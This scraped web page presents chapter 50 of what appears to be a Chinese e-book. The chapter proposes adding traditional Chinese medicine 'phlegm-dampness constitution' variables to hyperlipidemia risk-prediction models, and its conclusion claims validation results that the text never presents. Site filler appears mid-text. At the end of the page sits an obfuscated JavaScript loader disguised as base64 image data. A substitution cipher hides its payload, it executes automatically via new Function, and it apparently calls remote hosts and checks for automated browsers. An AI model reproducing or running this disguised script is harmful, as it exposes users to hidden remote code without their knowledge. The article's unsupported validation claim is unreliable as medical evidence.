关灯
护眼
字体:

第50章 篇痰湿体质优化高脂血症预测模型变量研究(第1页)

章节目录保存书签

——跨界融合新范式:基于中医痰湿体质理论的高脂血症风险预测模型变量优化研究引言在现代医学飞速发展的当下,慢性病的防控已成为全球公共卫生领域的重要课题。高脂血症作为心血管疾病等多种慢性病的重要危险因素,其风险预测模型的精准性备受关注。传统的高脂血症风险预测模型多基于现代医学的生理生化指标,如血脂水平、血压、血糖等,虽在一定程度上能预测发病风险,但仍存在局限性。与此同时,中医理论体系中“痰湿体质”与高脂血症的发生发展密切相关,为优化高脂血症风险预测模型提供了新的思路。本文旨在探讨如何将中医“痰湿体质”理论融入高脂血症风险预测模型的变量设计中,通过跨界融合挖掘隐藏维度,提高模型的预测效能,为高脂血症的预防和干预提供更全面、精准的理论依据和实践指导。中医“痰湿体质”理论概述痰湿体质的核心内涵中医理论认为,体质是个体在先天禀赋和后天调养基础上所形成的形态结构、生理功能和心理状态方面相对稳定的固有特质。痰湿体质是中医常见的体质类型之一,其核心内涵在于体内水液代谢失常,痰湿内蕴。“痰”和“湿”在中医理论中既有所区别又密切相关,“湿”为阴邪,易损伤阳气,阻碍气机,且具有黏滞重浊的特性;“痰”则是水湿代谢障碍所形成的病理产物,可随气机升降无处不到,影响脏腑功能。痰湿体质者由于脾胃运化功能失调,水谷精微不能正常输布,反而转化为痰湿,积聚体内,从而引发一系列生理和病理变化。痰湿体质的临床表现与诊断标准痰湿体质者在临床表现上具有明显的特征。在形体方面,多表现为体型肥胖,尤其是腹部肥满松软;在面部特征上,常见面色淡黄而暗,眼睑微肿,容易出油;在皮肤状态上,多有皮肤油腻,汗出黏腻不畅的情况;在消化系统方面,常出现胸闷腹胀,口黏苔腻,食欲不振,大便溏薄或黏滞不爽等症状;在其他方面,还可能伴有身体沉重困倦,嗜睡,脉象滑等表现。为了规范痰湿体质的诊断,中医领域形成了相应的诊断标准。目前常用的诊断标准多基于中华中医药学会发布的《中医体质分类与判定》,该标准通过对体型、症状、舌苔脉象等多个维度的综合评估来判定个体是否为痰湿体质。例如,在体型上以肥胖或超重为主要参考;在症状上,若出现身体沉重、困倦乏力、胸闷腹胀、口黏苔腻等多项典型症状;结合舌苔厚腻、脉象滑等体征,即可判定为痰湿体质。痰湿体质的形成原因与病理机制痰湿体质的形成是多种因素共同作用的结果,主要包括先天因素和后天因素。先天因素即先天禀赋,若父母为痰湿体质,子女禀赋其体质特性的可能性较大。后天因素则更为复杂,饮食不节是重要的原因之一,长期过食肥甘厚味、生冷寒凉食物,会损伤脾胃功能,导致运化失常,痰湿内生;缺乏运动也是关键因素,久坐少动会使气血运行不畅,水液代谢受阻,加重痰湿积聚;此外,不良的生活习惯如长期熬夜、精神压力过大等,可影响脏腑功能和气机运行,进而导致痰湿体质的形成。从病理机制来看,痰湿体质的核心在于脾胃功能失调。中医认为,脾主运化,胃主受纳,脾胃功能正常则水谷精微得以运化输布,水液代谢正常。若脾胃虚弱或功能失调,运化水湿的能力下降,水湿不得运化,便会积聚体内形成痰湿。同时,肾主水,肾阳具有温煦蒸腾水液的作用,肾阳不足可导致水液代谢障碍,加重痰湿内蕴;肺主通调水道,肺气宣降失常也会影响水液代谢,使痰湿难以排出体外。此外,肝主疏泄,若肝气郁结,气机不畅,也会影响水液的正常运行和代谢,促进痰湿的形成。高脂血症的现代医学研究现状高脂血症的定义与分类高脂血症是指血浆中脂质浓度超过正常范围的一种代谢性疾病。在现代医学中,脂质主要包括胆固醇、甘油三酯、磷脂和游离脂肪酸等,其中胆固醇和甘油三酯是临床关注的重点。根据血脂异常的类型,高脂血症可分为高胆固醇血症、高甘油三酯血症、混合性高脂血症和低高密度脂蛋白胆固醇血症等类型。高胆固醇血症主要表现为血清总胆固醇水平升高;高甘油三酯血症以血清甘油三酯水平升高为特征;混合性高脂血症则同时存在胆固醇和甘油三酯水平的升高;低高密度脂蛋白胆固醇血症是指血清高密度脂蛋白胆固醇水平降低。高脂血症的危险因素与危害高脂血症的发生与多种危险因素密切相关。不可改变的危险因素包括年龄、性别和遗传因素,随着年龄的增长,血脂水平容易升高,男性在中年时期的发病率高于女性,但女性绝经后发病率会逐渐上升;家族性高脂血症患者由于遗传基因缺陷,更容易出现血脂代谢异常。可改变的危险因素主要包括饮食因素、生活方式和疾病因素等。长期摄入高胆固醇、高脂肪、高糖食物会导致血脂升高;缺乏运动、吸烟、酗酒、长期精神紧张等不良生活方式也会增加高脂血症的发病风险;此外,糖尿病、甲状腺功能减退症、肾病综合征等疾病也可能引起继发性高脂血症。小主,这个章节后面还有哦,,后面更精彩!高脂血症的危害极大,它是动脉粥样硬化的主要危险因素之一。血脂异常可导致脂质在血管壁内沉积,形成动脉粥样硬化斑块,使血管管腔狭窄,血流受阻,进而引发冠心病、心肌梗死、脑梗死等严重心血管疾病。同时,高脂血症还可能影响肝脏功能,导致脂肪肝等疾病的发生,对人体健康造成严重威胁。现有高脂血症风险预测模型的局限性目前,临床上常用的高脂血症风险预测模型主要基于现代医学的危险因素,如年龄、性别、血脂水平、血压、血糖、吸烟史、家族史等。这些模型在一定程度上能够预测个体患高脂血症的风险,但仍存在诸多局限性。首先,模型所纳入的变量多为生理生化指标和客观生活因素,缺乏对个体体质特征等主观因素的考量,而体质特征在高脂血症的发生发展中可能起到重要作用。其次,现有模型多侧重于单一因素的影响,对各因素之间的交互作用考虑不足,难以全面反映高脂血症的发病机制。此外,不同人群的遗传背景、生活环境和饮食习惯存在差异,现有模型在不同人群中的适用性和预测效能有待进一步提高。中医“痰湿体质”与高脂血症的关联性分析中医理论中痰湿体质与高脂血症的病因病机联系在中医理论体系中,痰湿体质与高脂血症的病因病机存在密切联系。中医虽无“高脂血症”这一病名,但根据其临床表现,可将其归为“痰浊”“脂浊”“眩晕”等范畴。痰湿体质者由于痰湿内蕴,气血运行不畅,膏脂输布失常,导致多余的膏脂不能正常代谢排出,积聚于血脉之中,从而引发血脂升高,形成类似高脂血症的病理状态。从脏腑功能来看,脾胃功能失调是痰湿体质和高脂血症共同的核心病机。脾胃虚弱或运化失常,既会导致痰湿内生形成痰湿体质,又会使膏脂代谢障碍,引发高脂血症。同时,肝肾等脏腑功能失调也与两者密切相关,肾阳不足可加重痰湿内蕴和血脂异常;肝气郁结则会影响气机运行和膏脂代谢,进一步促进高脂血症的发生。临床研究证据支持近年来,越来越多的临床研究为痰湿体质与高脂血症的关联性提供了证据支持。多项研究表明,痰湿体质人群的高脂血症发病率明显高于非痰湿体质人群。在对痰湿体质者的血脂检测中发现,其血清总胆固醇、甘油三酯、低密度脂蛋白胆固醇水平显着升高,而高密度脂蛋白胆固醇水平则明显降低,存在明显的血脂异常。此外,针对痰湿体质与高脂血症相关性的流行病学调查也显示,痰湿体质的各项特征指标,如体型肥胖、身体沉重困倦、舌苔厚腻等,与血脂水平异常呈正相关。这些临床研究结果进一步证实了痰湿体质与高脂血症之间的密切联系,为将痰湿体质理论融入高脂血症风险预测模型提供了有力的临床依据。病理生理机制的交叉验证从病理生理机制的角度来看,痰湿体质与高脂血症在多个环节存在交叉验证。现代医学研究发现,高脂血症的发生与脂质代谢紊乱、胰岛素抵抗、炎症反应等密切相关。而中医的痰湿体质在病理生理上也表现出类似的特征,例如,痰湿体质者常存在胰岛素抵抗,导致糖代谢异常,进而影响脂质代谢;痰湿内蕴可引发慢性炎症反应,促进动脉粥样硬化的发生发展,这与高脂血症的病理机制相吻合。同时,研究表明,调理痰湿体质的中药和方法,如健脾祛湿、化痰降脂类中药,在改善痰湿体质的同时,也能够降低血脂水平,改善脂质代谢。这从侧面反映了痰湿体质与高脂血症在病理生理机制上的内在联系,为两者的关联性提供了更深入的科学依据。基于中医“痰湿体质”理论优化高脂血症风险预测模型变量设计的思路变量设计的基本原则在将中医“痰湿体质”理论融入高脂血症风险预测模型变量设计时,应遵循以下基本原则。首先,关联性原则,所选取的痰湿体质相关变量必须与高脂血症的发生发展具有明确的关联性,能够反映两者之间的病理生理联系。其次,可操作性原则,变量应具有可测量性和可获取性,便于在临床实践中进行数据收集和评估。再次,全面性原则,变量设计应尽可能全面地涵盖痰湿体质的主要特征,包括临床表现、体征、生活习惯等多个维度,以提高模型的全面性和准确性。最后,动态性原则,考虑到体质具有一定的动态可调性,变量设计应能够反映个体体质的变化情况,以便更好地预测高脂血症的风险变化。痰湿体质相关变量的筛选与量化临床表现变量根据痰湿体质的临床表现,筛选出具有代表性的症状作为变量,如身体沉重困倦、胸闷腹胀、口黏苔腻、大便溏薄或黏滞不爽、嗜睡等。对这些症状进行量化评估,可采用计分法,根据症状的严重程度和出现频率赋予不同的分值。例如,症状偶尔出现计1分,经常出现计2分,持续存在且严重计3分,通过累加得分来量化临床表现的严重程度。,!体征变量体征变量主要包括体型、舌苔脉象等。体型方面,可采用体重指数(bi)、腰围、腰臀比等指标来量化肥胖程度,这些指标与痰湿体质的体型特征密切相关。舌苔脉象是中医诊断的重要依据,可将舌苔厚腻程度分为轻度、中度、重度三个等级,分别计1、2、3分;脉象滑的程度也可进行类似的分级量化。生活习惯变量生活习惯对痰湿体质的形成具有重要影响,因此将生活习惯相关变量纳入模型具有重要意义。饮食方面,可设计高糖高脂饮食频率、生冷寒凉食物摄入频率等变量,采用计分法进行量化。运动方面,以每周运动次数、每次运动时长等作为变量,评估个体的运动情况。此外,还可纳入吸烟、饮酒、熬夜等不良生活习惯变量,根据其严重程度进行量化计分。中医体质辨识量表得分变量目前已有的中医体质辨识量表,如中华中医药学会的《中医体质分类与判定》量表,可作为一个综合变量纳入模型。该量表通过对多项指标的评分来判定体质类型,其得分能够综合反映个体的痰湿体质程度,可直接作为连续变量或分类变量用于模型分析。现有现代医学变量与痰湿体质变量的整合方法将现有现代医学变量与痰湿体质变量进行有效整合是优化模型的关键。首先,需要对两类变量进行标准化处理,消除量纲差异对模型的影响。对于连续变量,可采用标准化或归一化的方法;对于分类变量,可进行哑变量处理。其次,采用统计分析方法探究两类变量之间的相关性和交互作用,筛选出对高脂血症风险预测具有显着影响的变量组合。例如,可通过相关性分析、多元回归分析等方法,确定痰湿体质变量与现代医学变量之间的关联程度,以及它们在预测高脂血症风险中的协同作用。在模型构建过程中,可采用逐步回归、s回归等方法进行变量选择,保留具有统计学意义的变量,提高模型的简洁性和预测效能。同时,可考虑采用机器学习算法,如随机森林、支持向量机等,这些算法能够更好地处理非线性关系和变量交互作用,提高模型对复杂数据的拟合能力。通过合理的整合方法,使现代医学变量和痰湿体质变量在模型中发挥各自的优势,实现优势互补,提高模型的整体预测性能。模型构建与验证的技术路径数据收集与预处理数据收集是模型构建的基础,应采用多中心、大样本的队列研究设计,选取不同地区、不同年龄段的人群作为研究对象。收集的信息包括研究对象的一般人口学资料(如年龄、性别、民族等)、现代医学相关指标(如血脂水平、血压、血糖、肝肾功能等)、痰湿体质相关变量(如临床表现、体征、生活习惯、体质辨识量表得分等)以及高脂血症的发病结局等。在数据预处理阶段,首先要对数据进行清洗,去除缺失值过多、明显异常的数据,确保数据的完整性和准确性。对于缺失值较少的情况,可采用均值填充、中位数填充或多重插补等方法进行处理。其次,对数据进行标准化和转换,如对偏态分布的变量进行对数转换等,以满足模型分析的要求。最后,将数据集分为训练集和验证集,通常采用7:3或8:2的比例进行划分,训练集用于模型构建,验证集用于模型验证。模型选择与构建方法根据研究目的和数据特点,选择合适的模型进行构建。传统的统计模型如logistic回归模型具有原理简单、解释性强的优点,可作为基础模型,将现代医学变量和痰湿体质变量纳入其中,分析各变量对高脂血症风险的影响。同时,考虑到变量之间可能存在的非线性关系和复杂交互作用,可引入机器学习模型,如随机森林、梯度提升机、神经网络等。在模型构建过程中,需要对模型参数进行优化,通过交叉验证等方法选择最佳的参数组合,以提高模型的预测性能。例如,在随机森林模型中,通过调整决策树数量、最大深度等参数,使模型在训练集上达到较好的拟合效果,同时避免过拟合。对于不同的模型,可采用统一的评价指标进行比较,选择综合性能最优的模型作为最终的高脂血症风险预测模型。模型验证与评价指标模型验证是评估模型性能的重要环节,采用验证集对构建的模型进行外部验证,以检验模型的稳定性和泛化能力。常用的评价指标包括灵敏度、特异度、准确度、阳性预测值、阴性预测值以及受试者工作特征曲线(roc曲线)下面积(auc)等。灵敏度反映模型正确识别高脂血症患者的能力;特异度反映模型正确识别非高脂血症人群的能力;准确度是模型整体正确预测的比例;roc曲线以假阳性率为横轴,真阳性率为纵轴,auc值越接近1,表明模型的预测效能越好。,!通过对模型的验证和评价,比较融入痰湿体质变量前后模型的性能变化。若融入痰湿体质变量后,模型的各项评价指标均有明显改善,如auc值增大、灵敏度和特异度提高等,则表明痰湿体质变量的纳入有效优化了高脂血症风险预测模型。同时,还可进行亚组分析,探讨模型在不同人群(如不同年龄、性别、民族)中的预测效能,进一步验证模型的适用性。跨界融合的价值与意义提高高脂血症风险预测的精准性将中医“痰湿体质”理论融入高脂血症风险预测模型,通过纳入痰湿体质相关变量,能够更全面地反映个体患高脂血症的风险因素。传统模型仅基于现代医学指标,忽略了个体体质特征对疾病发生的影响,而痰湿体质作为高脂血症的重要危险因素,其相关变量的加入可弥补这一不足。通过综合考虑现代医学指标和痰湿体质特征,模型能够更精准地识别出高危人群,提高风险预测的准确性,为个体化的预防和干预提供更可靠的依据。为高脂血症的预防和干预提供新策略跨界融合不仅优化了风险预测模型,还为高脂血症的预防和干预提供了新的策略。基于痰湿体质理论,可针对痰湿体质人群制定个性化的预防方案,如通过调理脾胃、祛湿化痰等中医方法改善体质,从而降低高脂血症的发病风险。例如,在饮食干预方面,建议痰湿体质人群减少高糖高脂、生冷寒凉食物的摄入,增加具有健脾祛湿作用的食物;在运动干预方面,鼓励适当进行有氧运动,如快走、慢跑、游泳等,促进气血运行和痰湿排出。这种结合中医体质理论的干预策略,能够从根源上改善个体的健康状况,提高预防效果。推动中西医融合在慢性病管理中的应用中医“痰湿体质”理论与高脂血症风险预测模型的跨界融合,是中西医融合在慢性病管理中的一次有益尝试,具有重要的示范意义。它打破了中西医之间的壁垒,实现了中医理论与现代医学技术的有机结合,为慢性病的防治提供了新的思路和方法。通过这种融合,不仅能够发挥中医在体质辨识、整体调理方面的优势,还能借助现代医学的精准检测和数据分析技术,提高慢性病管理的科学性和有效性。这一实践将推动更多中西医融合的研究和应用,促进慢性病管理模式的创新和发展。结论与展望研究结论本文通过对中医“痰湿体质”理论与高脂血症的关联性分析,探讨了将痰湿体质理论融入高脂血症风险预测模型变量设计的思路和方法。研究表明,痰湿体质与高脂血症在病因病机、临床表现和病理生理机制上存在密切联系,将痰湿体质相关变量纳入高脂血症风险预测模型具有可行性和必要性。通过筛选和量化痰湿体质的临床表现、体征、生活习惯等变量,并与现有现代医学变量进行有效整合,能够构建出更全面、精准的高脂血症风险预测模型。模型验证结果显示,融入痰湿体质变量后,模型的预测效能得到明显提高,证明了跨界融合的价值和意义。研究局限本研究仍存在一定的局限性。首先,在变量筛选和量化方面,部分痰湿体质相关变量如舌苔脉象的量化仍存在一定的主观性,可能影响模型的准确性;其次,数据收集的样本量和地区分布可能存在局限性,模型在不同人群中的适用性有待进一步验证;最后,模型构建过程中对变量交互作用的分析还不够深入,需要进一步探索更复杂的模型构建方法。未来展望未来的研究可从以下几个方面进行深入探索。一是进一步优化痰湿体质相关变量的量化方法,引入更客观、精准的检测技术,如影像学检查、生物标志物检测等,提高变量的可靠性。二是扩大样本量,开展多中心、跨区域的队列研究,验证模型在不同人群中的适用性和稳定性。三是深入研究变量之间的交互作用,采用更先进的机器学习算法和统计方法,构建更复杂、精准的预测模型。四是基于优化后的模型,制定个性化的预防和干预方案,并开展临床实践研究,评估其在降低高脂血症发病率方面的效果。相信通过不断的研究和实践,中医“痰湿体质”理论与现代医学技术的跨界融合将在高脂血症等慢性病的管理中发挥越来越重要的作用,为人类健康事业做出更大的贡献。总之,“跨界融合”为高脂血症风险预测模型的优化提供了新的视角和方法,中医“痰湿体质”理论作为其中的重要隐藏维度,具有巨大的挖掘潜力。通过不断探索和完善,有望构建出更精准、有效的高脂血症风险预测模型,为慢性病的防控提供有力支持。:()血管清淤指南血脂养护日常方

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();